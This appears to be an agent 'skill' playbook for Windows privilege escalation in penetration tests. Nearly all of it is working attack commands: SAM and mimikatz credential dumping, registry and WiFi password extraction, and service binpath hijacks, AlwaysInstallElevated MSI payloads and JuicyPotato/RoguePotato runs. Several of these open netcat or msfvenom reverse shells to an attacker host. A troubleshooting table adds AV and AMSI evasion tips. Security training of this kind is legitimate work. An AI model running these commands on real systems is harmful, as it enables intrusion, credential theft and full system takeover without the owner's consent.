Windows Privilege Escalation

Purpose

Provide systematic methodologies for discovering and exploiting privilege escalation vulnerabilities on Windows systems during penetration testing engagements. This skill covers system enumeration, credential harvesting, service exploitation, token impersonation, kernel exploits, and various misconfigurations that enable escalation from standard user to Administrator or SYSTEM privileges.

Inputs / Prerequisites

• Initial Access: Shell or RDP access as standard user on Windows system
• Enumeration Tools: WinPEAS, PowerUp, Seatbelt, or manual commands
• Exploit Binaries: Pre-compiled exploits or ability to transfer tools
• Knowledge: Understanding of Windows security model and privileges
• Authorization: Written permission for penetration testing activities

Outputs / Deliverables

• Privilege Escalation Path: Identified vector to higher privileges
• Credential Dump: Harvested passwords, hashes, or tokens
• Elevated Shell: Command execution as Administrator or SYSTEM
• Vulnerability Report: Documentation of misconfigurations and exploits
• Remediation Recommendations: Fixes for identified weaknesses

Core Workflow

1. System Enumeration

Basic System Information

# OS version and patches
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
wmic qfe

# Architecture
wmic os get osarchitecture
echo %PROCESSOR_ARCHITECTURE%

# Environment variables
set
Get-ChildItem Env: | ft Key,Value

# List drives
wmic logicaldisk get caption,description,providername

User Enumeration

# Current user
whoami
echo %USERNAME%

# User privileges
whoami /priv
whoami /groups
whoami /all

# All users
net user
Get-LocalUser | ft Name,Enabled,LastLogon

# User details
net user administrator
net user %USERNAME%

# Local groups
net localgroup
net localgroup administrators
Get-LocalGroupMember Administrators | ft Name,PrincipalSource

Network Enumeration

# Network interfaces
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address

# Routing table
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric

# ARP table
arp -A

# Active connections
netstat -ano

# Network shares
net share

# Domain Controllers
nltest /DCLIST:DomainName

Antivirus Enumeration

# Check AV products
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName

2. Credential Harvesting

SAM and SYSTEM Files

# SAM file locations
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM

# SYSTEM file locations
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

# Extract hashes (from Linux after obtaining files)
pwdump SYSTEM SAM > sam.txt
samdump2 SYSTEM SAM -o sam.txt

# Crack with John
john --format=NT sam.txt

HiveNightmare (CVE-2021-36934)

# Check vulnerability
icacls C:\Windows\System32\config\SAM
# Vulnerable if: BUILTIN\Users:(I)(RX)

# Exploit with mimikatz
mimikatz> token::whoami /full
mimikatz> misc::shadowcopies
mimikatz> lsadump::sam /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /sam:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM

Search for Passwords

# Search file contents
findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config

# Search registry
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

# Windows Autologin credentials
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"

# PuTTY sessions
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"

# VNC passwords
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password

# Search for specific files
dir /S /B *pass*.txt == *pass*.xml == *cred* == *vnc* == *.config*
where /R C:\ *.ini

Unattend.xml Credentials

# Common locations
C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml

# Search for files
dir /s *sysprep.inf *sysprep.xml *unattend.xml 2>nul

# Decode base64 password (Linux)
echo "U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo=" | base64 -d

WiFi Passwords

# List profiles
netsh wlan show profile

# Get cleartext password
netsh wlan show profile <SSID> key=clear

# Extract all WiFi passwords
for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Key" | find /v "Number" & echo.) & @echo on

PowerShell History

# View PowerShell history
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

3. Service Exploitation

Incorrect Service Permissions

# Find misconfigured services
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv "Everyone" * /accepteula
accesschk.exe -ucqv <service_name>

# Look for: SERVICE_ALL_ACCESS, SERVICE_CHANGE_CONFIG

# Exploit vulnerable service
sc config <service> binpath= "C:\nc.exe -e cmd.exe 10.10.10.10 4444"
sc stop <service>
sc start <service>

Unquoted Service Paths

# Find unquoted paths
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\"
wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """

# Exploit: Place malicious exe in path
# For path: C:\Program Files\Some App\service.exe
# Try: C:\Program.exe or C:\Program Files\Some.exe

AlwaysInstallElevated

# Check if enabled
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Both must return 0x1 for vulnerability

# Create malicious MSI
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f msi -o evil.msi

# Install (runs as SYSTEM)
msiexec /quiet /qn /i C:\evil.msi

4. Token Impersonation

Check Impersonation Privileges

# Look for these privileges
whoami /priv

# Exploitable privileges:
# SeImpersonatePrivilege
# SeAssignPrimaryTokenPrivilege
# SeTcbPrivilege
# SeBackupPrivilege
# SeRestorePrivilege
# SeCreateTokenPrivilege
# SeLoadDriverPrivilege
# SeTakeOwnershipPrivilege
# SeDebugPrivilege

Potato Attacks

# JuicyPotato (Windows Server 2019 and below)
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe 10.10.10.10 4444 -e cmd.exe" -t *

# PrintSpoofer (Windows 10 and Server 2019)
PrintSpoofer.exe -i -c cmd

# RoguePotato
RoguePotato.exe -r 10.10.10.10 -e "C:\nc.exe 10.10.10.10 4444 -e cmd.exe" -l 9999

# GodPotato
GodPotato.exe -cmd "cmd /c whoami"

5. Kernel Exploitation

Find Kernel Vulnerabilities

# Use Windows Exploit Suggester
systeminfo > systeminfo.txt
python wes.py systeminfo.txt

# Or use Watson (on target)
Watson.exe

# Or use Sherlock PowerShell script
powershell.exe -ExecutionPolicy Bypass -File Sherlock.ps1

Common Kernel Exploits

MS17-010 (EternalBlue) - Windows 7/2008/2003/XP
MS16-032 - Secondary Logon Handle - 2008/7/8/10/2012
MS15-051 - Client Copy Image - 2003/2008/7
MS14-058 - TrackPopupMenu - 2003/2008/7/8.1
MS11-080 - afd.sys - XP/2003
MS10-015 - KiTrap0D - 2003/XP/2000
MS08-067 - NetAPI - 2000/XP/2003
CVE-2021-1732 - Win32k - Windows 10/Server 2019
CVE-2020-0796 - SMBGhost - Windows 10
CVE-2019-1388 - UAC Bypass - Windows 7/8/10/2008/2012/2016/2019

6. Additional Techniques

DLL Hijacking

# Find missing DLLs with Process Monitor
# Filter: Result = NAME NOT FOUND, Path ends with .dll

# Compile malicious DLL
# For x64: x86_64-w64-mingw32-gcc windows_dll.c -shared -o evil.dll
# For x86: i686-w64-mingw32-gcc windows_dll.c -shared -o evil.dll

Runas with Saved Credentials

# List saved credentials
cmdkey /list

# Use saved credentials
runas /savecred /user:Administrator "cmd.exe /k whoami"
runas /savecred /user:WORKGROUP\Administrator "\\10.10.10.10\share\evil.exe"

WSL Exploitation

# Check for WSL
wsl whoami

# Set root as default user
wsl --default-user root
# Or: ubuntu.exe config --default-user root

# Spawn shell as root
wsl whoami
wsl python -c 'import os; os.system("/bin/bash")'

Quick Reference

Enumeration Tools

| Tool | Command | Purpose | |------|---------|---------| | WinPEAS | winPEAS.exe | Comprehensive enumeration | | PowerUp | Invoke-AllChecks | Service/path vulnerabilities | | Seatbelt | Seatbelt.exe -group=all | Security audit checks | | Watson | Watson.exe | Missing patches | | JAWS | .\jaws-enum.ps1 | Legacy Windows enum | | PrivescCheck | Invoke-PrivescCheck | Privilege escalation checks |

Default Writable Folders

C:\Windows\Temp
C:\Windows\Tasks
C:\Users\Public
C:\Windows\tracing
C:\Windows\System32\spool\drivers\color
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys

Common Privilege Escalation Vectors

| Vector | Check Command | |--------|---------------| | Unquoted paths | wmic service get pathname \| findstr /i /v """ | | Weak service perms | accesschk.exe -uwcqv "Everyone" * | | AlwaysInstallElevated | reg query HKCU\...\Installer /v AlwaysInstallElevated | | Stored credentials | cmdkey /list | | Token privileges | whoami /priv | | Scheduled tasks | schtasks /query /fo LIST /v |

Impersonation Privilege Exploits

| Privilege | Tool | Usage | |-----------|------|-------| | SeImpersonatePrivilege | JuicyPotato | CLSID abuse | | SeImpersonatePrivilege | PrintSpoofer | Spooler service | | SeImpersonatePrivilege | RoguePotato | OXID resolver | | SeBackupPrivilege | robocopy /b | Read protected files | | SeRestorePrivilege | Enable-SeRestorePrivilege | Write protected files | | SeTakeOwnershipPrivilege | takeown.exe | Take file ownership |

Constraints and Limitations

Operational Boundaries

• Kernel exploits may cause system instability
• Some exploits require specific Windows versions
• AV/EDR may detect and block common tools
• Token impersonation requires service account context
• Some techniques require GUI access

Detection Considerations

• Credential dumping triggers security alerts
• Service modification logged in Event Logs
• PowerShell execution may be monitored
• Known exploit signatures detected by AV

Legal Requirements

• Only test systems with written authorization
• Document all escalation attempts
• Avoid disrupting production systems
• Report all findings through proper channels

Examples

Example 1: Service Binary Path Exploitation

# Find vulnerable service
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
# Result: RW MyService SERVICE_ALL_ACCESS

# Check current config
sc qc MyService

# Stop service and change binary path
sc stop MyService
sc config MyService binpath= "C:\Users\Public\nc.exe 10.10.10.10 4444 -e cmd.exe"
sc start MyService

# Catch shell as SYSTEM

Example 2: AlwaysInstallElevated Exploitation

# Verify vulnerability
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# Both return: 0x1

# Generate payload (attacker machine)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f msi -o shell.msi

# Transfer and execute
msiexec /quiet /qn /i C:\Users\Public\shell.msi

# Catch SYSTEM shell

Example 3: JuicyPotato Token Impersonation

# Verify SeImpersonatePrivilege
whoami /priv
# SeImpersonatePrivilege Enabled

# Run JuicyPotato
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\users\public\nc.exe 10.10.10.10 4444 -e cmd.exe" -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}

# Catch SYSTEM shell

Example 4: Unquoted Service Path

# Find unquoted path
wmic service get name,pathname | findstr /i /v """
# Result: C:\Program Files\Vuln App\service.exe

# Check write permissions
icacls "C:\Program Files\Vuln App"
# Result: Users:(W)

# Place malicious binary
copy C:\Users\Public\shell.exe "C:\Program Files\Vuln.exe"

# Restart service
sc stop "Vuln App"
sc start "Vuln App"

Example 5: Credential Harvesting from Registry

# Check for auto-logon credentials
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
# DefaultUserName: Administrator
# DefaultPassword: P@ssw0rd123

# Use credentials
runas /user:Administrator cmd.exe
# Or for remote: psexec \\target -u Administrator -p P@ssw0rd123 cmd

Troubleshooting

| Issue | Cause | Solution | |-------|-------|----------| | Exploit fails (AV detected) | AV blocking known exploits | Use obfuscated exploits; living-off-the-land (mshta, certutil); custom compiled binaries | | Service won't start | Binary path syntax | Ensure space after = in binpath: binpath= "C:\path\binary.exe" | | Token impersonation fails | Wrong privilege/version | Check whoami /priv; verify Windows version compatibility | | Can't find kernel exploit | System patched | Run Windows Exploit Suggester: python wes.py systeminfo.txt | | PowerShell blocked | Execution policy/AMSI | Use powershell -ep bypass -c "cmd" or -enc <base64> |